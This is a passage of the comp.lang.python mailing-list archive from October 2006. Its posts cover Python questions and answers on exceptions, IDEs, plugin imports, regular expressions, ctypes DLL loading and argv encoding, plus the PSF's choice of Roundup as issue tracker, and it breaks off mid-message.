BUT It's still Java, C++, PHP, SQL that have the marketing demands... Finally, also (personnal interpretation) because of the BUG2000 Scare, shops had boosted the staff with just about anyone they could get there hands on prior to this event, with the son, mom and great-grand uncle who could do a database of contacts in MSAccess (and this is NOT demeaning MSAccess), so now companies are NOT posting for the jobs in this *language* oriented fashion outside the mainstream (Java, C++,etc). Finally, most programmers and programmers-wannabe-students just don't hope to be top-tier in their trade - They just want a job, so they can marry, play, pay rent, go home - Sorry, most are not interested in technology, and since most managers I have seen, in a 15 year career in dev before taking a teaching job, don't CARE about technology, you have a perfect match for Java, PHP advertisement... My two cents, rooting for Python (and Ruby and Lua and OCaml, and ... you get the point!) Jean-Marc From jean.philippe.mague at gmail.com Thu Oct 5 12:53:04 2006 From: jean.philippe.mague at gmail.com (jean.philippe.mague at gmail.com) Date: 5 Oct 2006 09:53:04 -0700 Subject: weakSet Message-ID: <1160067184.086527.20420@e3g2000cwe.googlegroups.com> Hello, Has anyone ever think about a set wich references its elements weakly ? The *easy* solution would provide a WeakSet class with the following behavior: >>>s=set([a, b]) >>>ws=WeakSet([b,c]) >>>(ws&s).__class__() is WeakSet True >>>s&ws TypeError: unsupported operand type(s) for &: 'set' and 'instance' the hard olution would add the following behavior: >>>(s&ws).__class__() is WeakSet True Any hint for the easy solution ? for the hard one ? Jean-Philippe From pydecker at gmail.com Wed Oct 11 22:07:15 2006 From: pydecker at gmail.com (Peter Decker) Date: Wed, 11 Oct 2006 22:07:15 -0400 Subject: Python component model In-Reply-To: <1160618190.314729.236250@c28g2000cwb.googlegroups.com> References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> Message-ID: On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis wrote: > yes, an interesting tool. > > But to get more attention and developers, the project needs to be > polished. > > really unattractive resources: > > http://dabodev.com > http://case.lazaridis.com/wiki/DaboAudit Well, then, why not contribute? Or are you waiting for everyone else to do it for you? It really grinds my gears when people take something that involves hundreds if not thousands of hours of time that is offered to them for free, and then nitpicks on something completely tangential. If you want a polished website, then offer to contribute one! Don't whine about a couple of developers who are doing amazing things in their spare time while you're contributing absolutely nothing to the community. -- # p.d. From dakman at gmail.com Tue Oct 17 14:39:08 2006 From: dakman at gmail.com (dakman at gmail.com) Date: 17 Oct 2006 11:39:08 -0700 Subject: external file closed In-Reply-To: <1161106999.899555.57990@h48g2000cwc.googlegroups.com> References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com> Message-ID: <1161110348.760468.231720@m7g2000cwm.googlegroups.com> You may be able to use os.popen() kilnhead wrote: > I am opening a file using os.start('myfile.pdf') from python. How can I > know when the user has closed the file so I can delete it? Thanks. From claird at lairds.us Wed Oct 11 14:39:59 2006 From: claird at lairds.us (Cameron Laird) Date: Wed, 11 Oct 2006 18:39:59 +0000 Subject: [Newbie] error handling References: Message-ID: In article , Fulvio wrote: >*********************** >Your mail has been scanned by InterScan MSS. >*********************** > > >Hello there, > >Simple question : how do I manage errors by the use "try/except" clause. >Example: >If I'd like to catch error coming from a function call that's using IMAP4 >class, which error may raise such class? >In other words I've doubts about which error object I should put after >the "except" statement in order to trap the wanted error. > >Is there, somehow, the way to list the errors from a class or function, prior >digging into the source? > >F > No. It's an important question. No, there is NOT in general a way to interrogate a class or function to determine the range of exceptions it might throw. Working programmers take a couple of approaches to analyze exceptions: A. Read documentation. Good API documentation must specify exceptions thrown. It's very, *very* rare for Python extensions to document their exceptions accurately. B. Incrementally refine your source. I might write try: do_imap_stuff() except: raise for my first round of coding. Then I exercise a couple of use cases, and reach try: do_imap_stuff() except IOError: handle_this_exception() except ZeroDivisionError: handle_that_exception() except: raise and so on. Exceptions are hard to get right. I keep threatening to write a book on the subject, mostly so I can learn what the correct answers are. From bernard.chhun at gmail.com Fri Oct 13 15:18:58 2006 From: bernard.chhun at gmail.com (Bernard) Date: 13 Oct 2006 12:18:58 -0700 Subject: Best IDE? In-Reply-To: References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> <1160750227.507474.134240@b28g2000cwb.googlegroups.com> <463ff4860610130745y769107f2x4bfa00928ebd7c03@mail.gmail.com> Message-ID: <1160767138.064264.262690@k70g2000cwa.googlegroups.com> hey thanks limodou, I'm trying it out right now and it works pretty well! SPE has been crashing often lately so count on me to use it frequently. Bernard limodou wrote: > On 10/13/06, Theerasak Photha wrote: > > On 13 Oct 2006 07:37:07 -0700, Bernard wrote: > > > IDE : SPE (Stani's python editor) : http://stani.be/python/spe/blog/ > > > Why?: because this IDE is not complicated. it ships with a debugger, a > > > gui designer, a source code checker and a regex console. > > > Like: obviously everything > > > Hate: sometimes it doesn't start on windows 2000 > > > Platform: Windows, Linux, Mac > > > cost: free but I'll donate some money because I like it > > > > Will definitely give it a look. > > > Maybe you could also check out UliPad to try it. Many features UliPad > also have, and it also shipped with > > * directory browser > * multi-view > * multi-language highlight support, like: python, javascript, css, html, etc > * simple project support bind with directory browser > * commands searching > * live regular expression searching, type regex, and you'll see the > result immediately > * session manager > * i18n > * input assistant, support call tips, '.' hint, and auto-complete, for > example: you type > > def then it'll expand to def (): > * many plugins, for example spell check, if you install pyenchant module > * others things > > hope you try it. > > -- > I like python! > UliPad <>: http://wiki.woodpecker.org.cn/moin/UliPad > My Blog: http://www.donews.net/limodou From rpmuller at gmail.com Thu Oct 12 16:19:23 2006 From: rpmuller at gmail.com (RickMuller) Date: 12 Oct 2006 13:19:23 -0700 Subject: paseline(my favorite simple script): does something similar exist? In-Reply-To: References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> Message-ID: <1160684363.847748.66080@c28g2000cwb.googlegroups.com> Wow! 6 responses in just a few minutes. Thanks for all of the great feedback! skip at pobox.com wrote: > Rick> def parseline(line,format): > Rick> xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} > Rick> result = [] > Rick> words = line.split() > Rick> for i in range(len(format)): > Rick> f = format[i] > Rick> trans = xlat.get(f,'None') > Rick> if trans: result.append(trans(words[i])) > Rick> if len(result) == 0: return None > Rick> if len(result) == 1: return result[0] > Rick> return result > > Note that your setting and testing of the trans variable is problematic. If > you're going to use xlat.get(), either spell None correctly or take the > default: > > trans = xlat.get(f) > if trans: > result.append(trans(words[i])) > > As Paul indicated though, it would also be better to not to silently let > unrecognized format characters pass. I probably wouldn't let KeyError float > up to the caller though: > > trans = xlat.get(f) > if trans: > result.append(trans(words[i])) > else: > raise ValueError, "unrecognized format character %s" % f > > Finally, you might consider doing the splitting outside of this function and > pass in a list. That way you could (for example) easily pass in a row of > values read by the csv module's reader class (untested): > > def format(words, fmt): > xlat = {'x':None,'s':str,'f':float,'d':int,'i':int} > result = [] > for i in range(len(fmt)): > f = fmt[i] > trans = xlat.get(f) > if trans: > result.append(trans(words[i])) > else: > raise ValueError, "unrecognized format character %s" % f > return result > > Rick> I'm posting this here because (1) I'm feeling smug at what a > Rick> bright little coder I am, and (2) (in a more realistic and humble > Rick> frame of mind) I realize that many many people have probably found > Rick> solutions to similar needs, and I'd imaging that many are better > Rick> than the above. I would love to hear how other people do similar > Rick> things. > > It seems quite clever to me. > > Skip From cameron.walsh at gmail.com Thu Oct 5 23:06:48 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Fri, 06 Oct 2006 11:06:48 +0800 Subject: user modules In-Reply-To: References: Message-ID: Tuomas wrote: > Cameron Walsh wrote: >> Hi, >> >> I'm writing a python program to analyse and export volumetric data. >> To make development and extension easier, and to make it more useful >> to the public when it is released (LGPL), I would like to enable users >> to place their own python files in a "user_extensions" directory. >> These files would implement a common interface in order for the main >> program to be able to read them and execute the necessary code. >> >> My question is what is the best way of implementing this? >> >> I have investigated importing them as modules, but unless the user >> modifies the main program I cannot see how the main program can learn >> of the existence of specific modules. >> >> For example: >> >> from user_modules import * >> # directory 'user_modules' contains __init__.py allowing this >> # From here I would need a list of the imported modules, in order to >> # execute a common command on each of them, such as >> >> for module in imported_modules: >> module.initialise() >> module.get_tab_window() >> >> >> How do I get from the first bit to the second bit, or is there a >> better way of obtaining the functionality I need? >> >> >> --Cameron. > > import os > > files=os.listdir('user_modules') > tabs=[] > for fle in files: > if fle.endswith('.py'): > module=__import__(fle[0:-3], 'user_modules', None, > ['initialise', 'get_tab_window']) > module.initialise() > tabs.append(module.get_tab_window()) > > *not tested* > > print __import__.__doc__ > __import__(name, globals, locals, fromlist) -> module > > Import a module. The globals are only used to determine the context; > they are not modified. The locals are currently unused. The fromlist > should be a list of names to emulate ``from name import ...'', or an > empty list to emulate ``import name''. > When importing a module from a package, note that __import__('A.B', ...) > returns package A when fromlist is empty, but its submodule B when > fromlist is not empty. > > Tuomas > Thanks Tuomas, your solution worked a charm, with two changes: 1.) Check I'm not trying to import __init__.py 2.) module=__import__(fle[0:-3], 'user_modules', None, ['initialise', 'get_tab_window']) had to be changed to: module=__import__("user_modules.%s" %fle[0:-3], None, None, ['initialise', 'get_tab_window']) For some reason it wasn't setting the context properly, I'll have to learn more about the function. Thanks for teaching me how to read the documentation properly, about how private keywords like "import" are defined, and for providing a solution to a problem I'm likely to face many more times. Best regards, Cameron. From MonkeeSage at gmail.com Sun Oct 1 07:03:43 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 1 Oct 2006 04:03:43 -0700 Subject: builtin regular expressions? References: <451e37a5$1@news.vo.lu> <877izlxsiy.fsf@gmail.com> <451ea5cc$1@news.vo.lu> <1159642479.968928.34760@k70g2000cwa.googlegroups.com> Message-ID: <1159700623.672318.146810@i3g2000cwc.googlegroups.com> Mirco Wahab wrote: > Therefore, I'd like to have a usable and understandable > example of Regex-object juggling, that shows clearly > what its real benefit is (or gives an idea of - ). Here are some benefits: DRY - You can assign a regexp to a variable and pass it around or call specific instance methods on it. Thus... Overhead - You don't need to keep compiling the same expression if you need to use it several times, you can just assign it to a variable and reference that. Clarity - named methods are clearer than operators. ( .match vs. =~ ). Regards, Jordan From mnations at gmail.com Tue Oct 24 13:40:30 2006 From: mnations at gmail.com (Mudcat) Date: 24 Oct 2006 10:40:30 -0700 Subject: Ctypes Error: Why can't it find the DLL. Message-ID: <1161711630.004644.187330@h48g2000cwc.googlegroups.com> Hi, I can't figure out why ctypes won't load the DLL I need to use. I've tried everything I can find (and the ctypes website is down at the moment). Here's what I've seen so far. I've added the file arapi51.dll to the system32 directory. However when I tried to access it I see this: >>> print windll.arapi51 # doctest: +WINDOWS Traceback (most recent call last): File "", line 1, in ? File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 387, in __getattr__ dll = self._dlltype(name) File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in __init__ self._handle = _dlopen(self._name, mode) WindowsError: [Errno 126] The specified module could not be found So then I use the find_library function, and it finds it: >>> find_library('arapi51.dll') 'C:\\WINNT\\system32\\arapi51.dll' At that point I try to use the LoadLibrary function, but it still can't find it: >>> windll.LoadLibrary('C:\WINNT\system32\arapi51.dll') Traceback (most recent call last): File "", line 1, in ? File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 395, in LoadLibrary return self._dlltype(name) File "C:\Python24\Lib\site-packages\ctypes\__init__.py", line 312, in __init__ self._handle = _dlopen(self._name, mode) WindowsError: [Errno 126] The specified module could not be found What am I doing wrong? I've used ctypes before and not had this problem. Before, I've just added the file to the system32 directory and not had this problem. On another note, if I wanted to include these DLL's to be a part of an installable package, how would I configure ctypes to use DLL's from a local directory? Thanks, Marc From alexLIGO at googlemail.com Tue Oct 17 11:53:56 2006 From: alexLIGO at googlemail.com (alexLIGO at googlemail.com) Date: 17 Oct 2006 08:53:56 -0700 Subject: Save/Store whole class (or another object) in a file Message-ID: <1161100436.211460.198430@e3g2000cwe.googlegroups.com> Hi, is it possible in python (with/without matplotlib, numpy etc) to store a whole class with its data into a file, instead it to reconstruct every time again? So is there an analogous to the matlab functions load/save available? Thanks Alex From johnjsal at NOSPAMgmail.com Wed Oct 4 11:55:11 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 04 Oct 2006 15:55:11 GMT Subject: can't open chm files all of a sudden In-Reply-To: <1159951350.208619.222470@m73g2000cwd.googlegroups.com> References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> Message-ID: John Machin wrote: > Many things might cause an error dialogue -- further info needed. Thanks, I will try your suggestions when I get home. As far as I know, this only started happening yesterday (although maybe I haven't opened the files in a day or two). All I've installed/uninstalled since then was HTML Kit. I'm not on a network, it's just me. I redownloaded the chm file for Python24 and it does the same thing. I'll see what else I can find at home, I just hope it doesn't affect Python, and I desperately need my docs, especially for wxPython. From mensanator at aol.com Sat Oct 14 13:43:14 2006 From: mensanator at aol.com (mensanator at aol.com) Date: 14 Oct 2006 10:43:14 -0700 Subject: Starting out. In-Reply-To: References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160784543.238714.132310@k70g2000cwa.googlegroups.com> Message-ID: <1160847793.990888.95790@m7g2000cwm.googlegroups.com> Hendrik van Rooyen wrote: > wrote: > > 8<------------------------ > > > Well, I'm on vacation this week, so 5 pm means nothing to me: > > > > teetertotter > > > > from the Consolidated Word List from puzzlers.org. > > > > Yes, it's also spelled with a hyphen or a space, but as long as this > > is a valid spelling, it counts. > > > > I would recommend NOT looking this up, just take my word for it. > > You may be offended at what you find. > > did not need to look it up - I know that teetertotter is a complicated word for > "see-saw"..... Uh...that means something else (according to the Urban Dictionary). > > - Hendrik From MonkeeSage at gmail.com Fri Oct 6 00:56:04 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 21:56:04 -0700 Subject: printing variables References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com> <1160104176.281125.121740@k70g2000cwa.googlegroups.com> Message-ID: <1160110564.087231.237580@c28g2000cwb.googlegroups.com> s99999999s2003 at yahoo.com wrote: > Thanks all for the answers. Yup, i think i will use dicts/tuples/lists > instead... Even though you should be using some kind of container, you can still do what you origianlly asked for with relative ease...you just have to use the evil eval function (gasp!): for i in xrange(5): if i == 0: continue print eval("var%d" % i) Regards, Jordan From mitko at qlogic.com Wed Oct 18 17:59:26 2006 From: mitko at qlogic.com (Mitko Haralanov) Date: Wed, 18 Oct 2006 14:59:26 -0700 Subject: Getting method name from within the class method In-Reply-To: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> References: <1161207492.298811.178110@m7g2000cwm.googlegroups.com> Message-ID: <20061018145926.0e8d3277@opal.pathscale.com> On 18 Oct 2006 14:38:12 -0700 yellowalienbaby at gmail.com wrote: > >>> class test(object): > ... def a_method(self,this,that): > ... print self.a_method.__name__ Doing the above will obviously work! However, I don't want to have to use the name of the function in the print statement (the ".a_method." part). Imagine having about 100 of the above print statements in the function and then you change the name of the function. I want all 100 of the print statements to work without having to change every one of them to reflect the new function name. -- Mitko Haralanov mitko at qlogic.com Senior Software Engineer 650.934.8064 System Interconnect Group http://www.qlogic.com From steve at holdenweb.com Mon Oct 23 14:22:00 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 19:22:00 +0100 Subject: encoding of sys.argv ? In-Reply-To: <20061023130504.26823717@autremonde> References: <20061023130504.26823717@autremonde> Message-ID: Jiba wrote: > Hi all, > > I am desperately searching for the encoding of sys.argv. > > I use a Linux box, with French UTF-8 locales and an UTF-8 filesystem. sys.getdefaultencoding() is "ascii" and sys.getfilesystemencoding() is "utf-8". However, sys.argv is neither in ASCII (since I can pass French accentuated character), nor in UTF-8. It seems to be encoded in "latin-1", but why ? > > Jiba Here's what I see in a Windows command prompt interactive session: Python 2.4.2 (#67, Sep 28 2005, 12:41:11) [MSC v.1310 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. Started with C:/Steve/.pythonrc >>> import sys >>> sys.stdin.encoding 'cp437' >>> sys.getdefaultencoding() 'ascii' >>> But in a Cygwin command window on the same machine I see import syPython 2.5b2 (trunk:50713, Jul 19 2006, 16:04:09) [GCC 3.4.4 (cygming special) (gdc 0.12, using dmd 0.125)] on cygwin Type "help", "copyright", "credits" or "license" for more information. sStarted with C:/Steve/.pythonrc >>> import sys >>> sys.stdin.encoding 'US-ASCII' >>> sys.getdefaultencoding() 'ascii' >>> The strings in sys.argv are encoded the same as the standard input, I bleieve. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From fdu.xiaojf at gmail.com Tue Oct 10 04:17:48 2006 From: fdu.xiaojf at gmail.com (fdu.xiaojf at gmail.com) Date: Tue, 10 Oct 2006 16:17:48 +0800 Subject: How to find a file or a device is currently used by which process or which program ? Message-ID: <452B572C.6020303@gmail.com> Hi, When I want to uninstall my usb disk on windows, the operating systems sometimes tells me the device is being used by other program. But I can't find which program is using it. Can I do this using python ? Thanks. xiaojf From http Sat Oct 28 12:04:58 2006 From: http (Paul Rubin) Date: 28 Oct 2006 09:04:58 -0700 Subject: Need help (Basic python)...what did I do wrong? References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> <29c1a$454332e1$544ab808$5911@news.hispeed.ch> <1162050799.561792.6010@e3g2000cwe.googlegroups.com> Message-ID: <7xhcxo1l5h.fsf@ruckus.brouhaha.com> "frankie_85" writes: > e_5 = math.sqrt(math.fabs(e)) + 5((math.pow(e,3))) > > but I still don't understand though why the variable a, b, c, d, e > becomes an int type even though I have already specified the user input > to be floating point? if you want to multiply two numbers you need to put a * between them. * is the multiplication symbol in Python and most other languages. When you say f(x) that says "there is a function x and Python should call it on the value x". When you say 5(x), that says "there is a function 5 and Python should call it with the value x". And then when you try to actually do that, Python says "hey I can't do that, 5 isn't a function, it's an integer". From steve at holdenweb.com Sun Oct 1 09:43:28 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 14:43:28 +0100 Subject: windev vs python SOS In-Reply-To: <0001HW.C1457F2D0000F4CEF0407530@news.individual.de> References: <0001HW.C14424C100B023CEF0488530@news.individual.de> <1159632848.993229.58300@m7g2000cwm.googlegroups.com> <0001HW.C1457F2D0000F4CEF0407530@news.individual.de> Message-ID: Wolfgang Keller wrote: >>Links abour Windev for those who like facts : >> >>http://www.windev.com/pcsoft/testimonials/index.html >>http://www.pcsoft.fr/annonce10/photos.html >>http://www.pcsoft.fr/pcsoft/120pages/index.html > > > Well, it _could_ be that all the readers in comp.lang.python are utterly > braindead morons with entirely dysfunctional sense organs so that they can't > distinguish between 100% subject-matter-free sales promotion cheaptalk and > objective information about "facts" from independent and competent third > parties. > > It _could_ be. > > Anyway, if I were "PDG" of PC Soft, I would immediately fire their > advertising staff - judging from the "content" of those "facts" they're > totally incapable to produce anything that would actually convince anyone > with an IQ higher than that of an average housefly. > > EOD. > Fortunately, or unfortunately, depending how you look at it, there are plenty of people who can be convinced to buy software based on completely specious "arguments" and "facts". It's well known that to succeed in business you need superior marketing first: superior technology isn't even on the list of essentials, though as Google clearly demonstrates it can help a lot when used by intelligent people. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From mail at microcorp.co.za Wed Oct 4 14:02:56 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 4 Oct 2006 20:02:56 +0200 Subject: Python/Tkinter crash. References: Message-ID: <007401c6e7df$5d7c7a80$03000080@hendrik> "Eric Brunel" wrote: > On Wed, 04 Oct 2006 10:33:55 +0200, Hendrik van Rooyen > wrote: > > > Hi, > > > > I get the following: > > > > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py > > UpdateStringProc should not be invoked for type font > > Aborted > > > > and I am back at the bash prompt - this is most frustrating, as there is > > no > > friendly traceback to help me guess where its coming from. > > > > And what is worse, the script runs for a varying time before it simply > > exits > > like this. > > > > What can I do to dig deeper to try to find a clue? - I don't even know > > if its > > Python, Tkinter or Linux... > > Neither of them: it's a tcl problem. The message you get is in the file > generic/tclObj.c in the tcl source directory. > > I know the problem happens sometimes on one of my Tkinter applications, > but I never succeeded in reproducing it systematically. I've browsed the > tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If > you are, I'm interested in any hint you can find. Ouch! - this is a bit the wrong answer... What I have seen, in mucking about today, is that it seems to be related to threading - I have a silly sort of thread that runs, updating my meters, more or less continuously, to simulate data from the field - it just adds some values to the seven display variables and calls the update methods that delete and redraw the arcs representing the analogue style meters, deleting and replacing the text objects that show the values, and then it sleeps for a while, and does it all again. At the same time, one other thread (other than the main thread), can be created to move a component on the canvas around by calling its delete and draw methods. - but this is also done more or less continuously, as a new thread is created as soon as the previous one dies to move the next object around. Now these two things are asynchronous with each other, so that given enough time, they are bound to make calls to Tkinter in a re-entrant fashion, and I suspect that it is this that is causing the problem - my "evidence" for this is that I implemented a boolean as a sort of "lock" and had the Meter updating back down in favour of the other animation to try and avoid any sort of re - entrancy to the Tkinter canvas object's delete and draw methods... Now the Jury is still out on this - it seems to have helped, as the thing has been running for some hours now without crashing - but maybe I have just applied a band aid to sword cut - I don't know - if it runs through the night I will feel much better... Will update again as soon as I have more data... - Hendrik From Roka100 at gmail.com Sun Oct 29 21:35:16 2006 From: Roka100 at gmail.com (Jia Lu) Date: 29 Oct 2006 18:35:16 -0800 Subject: wxPython changed ?? Message-ID: <1162175716.450967.190790@e3g2000cwe.googlegroups.com> Hi all. I'm using wxPython 2.6.3.2-2 on FC 6. I wrote a demo used 'self.Bind(xxxxxx)' but I got an error says: " MyFrame instance has no attribute 'Bind' " I did that when I used FC 5 and it worked. Is new wxPy changed about the Bind method?? thanx From martin at v.loewis.de Wed Oct 4 17:13:35 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 23:13:35 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <7xwt7f4yox.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com> Message-ID: <452423FF.6010601@v.loewis.de> Paul Rubin schrieb: > "Martin v. L?wis" writes: >> You fail to recognize that Python is *already* using a non-free software >> for bug tracking, as do thousands of other projects. > > I don't think that reflects an explicit decision. SF started out as > free software and the software became nonfree after people were > already using it. That, in principle, could happen to any other free software as well. What is critical here is that SF *hosted* the installation. If we would use a tracker that is free software, yet hosted it elsewhere, the same thing could happen: the hoster could make modifications to it which are non-free. Not even the GPL could protect from this case: the hoster would be required to publish source only if he publishes binaries, but he wouldn't publish any binaries, so he wouldn't need to release the source changes, either. Also, even if it the software is open source and unmodified, there still wouldn't be a guarantee that you can get the data out of it if you want to. You *only* get the advantages of free software if you also run it yourself. Unfortunately, there is a significant cost associated with running the software yourself. Despite what other people say, this *is* an issue. On python.org, things that should get done don't, just because there is no volunteer doing them. Hosting such a service elsewhere has the clear advantage that you don't have to worry about most routine maintenance jobs. Regards, Martin From brett at python.org Fri Oct 20 16:35:05 2006 From: brett at python.org (Brett Cannon) Date: Fri, 20 Oct 2006 13:35:05 -0700 Subject: PSF Infrastructure has chosen Roundup as the issue tracker for Python development Message-ID: At the beginning of the month the PSF Infrastructure committee announced that we had reached the decision that JIRA was our recommendation for the next issue tracker for Python development. Realizing, though, that it was a tough call between JIRA and Roundup we said that we would be willing to switch our recommendation to Roundup if enough volunteers stepped forward to help administer the tracker, thus negating Atlassian's offer of free managed hosting. Well, the community stepped up to the challenge and we got plenty of volunteers! In fact, the call for volunteers has led to an offer for professional hosting for Roundup from Upfront Systems. The committee is currently evaluating that offer and will hopefully have a decision made soon. Once a decision has been made we will contact the volunteers as to whom we have selected to help administer the installation (regardless of who hosts the tracker). The administrators and python-dev can then begin working towards deciding what we want from the tracker and its configuration. Once again, thanks to the volunteers for stepping forward to make this happen! -Brett Cannon PSF Infrastructure committee chairman -------------- next part -------------- An HTML attachment was scrubbed... URL: From gregpinero at gmail.com Thu Oct 5 16:06:42 2006 From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=) Date: Thu, 5 Oct 2006 16:06:42 -0400 Subject: How do I put % in a format sting? Message-ID: <312cfe2b0610051306v5c43162akfa5fc89877f331b9@mail.gmail.com> How do I put % in a format sting? For example I want this to work: >>> sql_template="""SELECT ENTRY FROM LOOKUP WHERE FIELDNAME LIKE '%s%V'""" >>> sql_template % 'userdef103' Traceback (most recent call last): File "", line 1, in ? TypeError: not enough arguments for format string -- Gregory Pi?ero Chief Innovation Officer Blended Technologies (www.blendedtechnologies.com) From noway at sorry.com Sat Oct 7 20:38:43 2006 From: noway at sorry.com (Giovanni Bajo) Date: Sun, 08 Oct 2006 00:38:43 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it><45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it> <45254B18.2090806@v.loewis.de><7x3ba1ltvj.fsf@ruckus.brouhaha.com> Message-ID: Tim Peters wrote: > None are /totally ignored/ -- indeed, at least I see every one as it > comes in. You might want to change your claim to that no work > obviously visible to you is done on them. That would be better. Please notice that my mail was in the context of "user satisfaction with the bug tracker". I was claiming that it is useless to provide a blazingly fast support turnaround for technical issue, when there is "no visibile work" being done on most bugs that are submitted. And, in turn, this was in the context of hiring 6-10 people as the only acceptable minimum to maintain and admin a bug tracker. I was claiming that, if such a group was ever formed, it was better spent on bug triage rather than keeping their keys ready all day long to quick-fix any server breakage in minutes. > These are the actual stats as of a few minutes ago: > > Bugs: 938 open of 7169 total ~= 87% closed > Patches: 429 open of 3846 total ~= 89% closed > Feature Requests: 240 open of 479 total ~= 50% closed I claimed different numbers based on personal perception; I stand corrected, and apologize for this. I could just say that my perception was wrong, but I guess there's something in it that could be further analyzed. For instance, I would be really curious to see how these figures look like if you consider only bugs/patches/rfe *NOT* submitted by python committers. I don't think Sourceforge can ever compute this number for us, so I'll wait to ask Roundup about it (or, uh, Jira...). > There's an easy way to improve these percentages dramatically, > although they're not bad as-is: run thru them and close every one > that isn't entirely clear. For example, reject every feature request, > close every patch that changes visible behavior not /clearly/ fixing a > bona fide bug, and close every "bug report" that's really a feature > request or random "but Perl/Ruby/PHP doesn't do it this way" complaint > in disguise. Either close directly any nonsense, or ask for more feedback to the poster, until the bug/patch/rfe is sufficiently clear to be handled, or 3 months are passed and you close the bug for "no further feedback from the poster". If this would dramatically reduce the number of open bugs, then yes, Python really needs someone to do bug triaging. > For example, the oldest patch open today is a speculative > implementation of rational numbers for Python. This is really a > feature request in disguise, and has very little chance-- but not /no/ > chance --of ever being accepted. The oldest bug open today is from 6 > years ago, and looks like an easy-to-answer /question/ about the > semantics of regular expressions in Python 1.6. I could take time to > close that one now, but is that a /good/ use of time? Yes, but, at > the moment, even finishing this reply seems to be a /better/ use of my > time -- and after that, I'm going to get something to eat ;-) It might be not a good use of your time at all, since you are a developer. But having a database with 938 open bugs most of which are incomplete/nonsense/unconfirmed is much less useful than it could be. It also raises the bar for new developers: it's much harder to just "pick one" and fix it. I know because I tried sometimes, and after half an hour I couldn't find any bug that was interesting to me and "complete" enough to work on it. I also noticed that most bugs are totally uncommented like nobody cared at all. This is where my thought about Python missing bug triaging started. -- Giovanni Bajo From g.brandl-nospam at gmx.net Mon Oct 9 14:50:47 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Mon, 09 Oct 2006 20:50:47 +0200 Subject: operator overloading + - / * = etc... In-Reply-To: <452a6a61$0$22844$426a74cc@news.free.fr> References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> <452a6a61$0$22844$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > Steven D'Aprano wrote: >> On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote: >> >>>>> With the caveat of the "=" mentioned in the subject-line (being >>>>> different from "==")...I haven't found any way to override >>>>> assignment in the general case. >>>> Why would you want to do that? >>> For the same reason one would use property() to create >>> getter/setter functions for a particular variable--to intercept >>> attempts to set a variable. >> > (snip) > >> Suppose we bind the name "x" to the object 1, and then rebind the name "x" >> to the object []. Which object's hypothetical __assign__ method should get >> called? > > The current namespace object, of course. Which is? Georg From arkanes at gmail.com Tue Oct 3 09:48:26 2006 From: arkanes at gmail.com (Chris Mellon) Date: Tue, 3 Oct 2006 08:48:26 -0500 Subject: Ctypes and freeing memory In-Reply-To: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com> References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com> Message-ID: <4866bea60610030648u3a02c0c3k7c25e6c0e15f37c6@mail.gmail.com> On 10/3/06, Oliver Andrich wrote: > Hi everybody, > > I am currently playing around with ctypes and a C library (libWand > from ImageMagick), and as I want to easily deploy it on Mac, Linux and > Windows, I prefer a ctypes solution over a C module. At least on > windows, I would have resource problems to compile the C module. So, > ctypes is the perfect choice for me. > > But I am currently encountering a pattern inside the C library, that > has to be used to free memory. Coding in C I have to do the following > > char *description; > long severity; > > description = MagickGetException(wand, &severity); > /* > do something with the description: print it, log it, ... > */ > description = (char *) MagickRelinquishMemory(description); > exit(-1); /* or something else what I want to after an exception occured */ > > So, this looks easy and is sensible from C's point of view. Now I try > to translate this to Python and ctypes. > > dll.MagickGetException.argtypes = [c_long, POINTER(c_long)] > dll.MagickGetException.restype = c_char_p > > severity = c_long() > description = dll.MagickGetException(byref(severity)) > > # So far so good. The above works like a charm, but the problem follows now > # ctypes already converted the char * for description to a String object. > # That means description has arrived in an area under 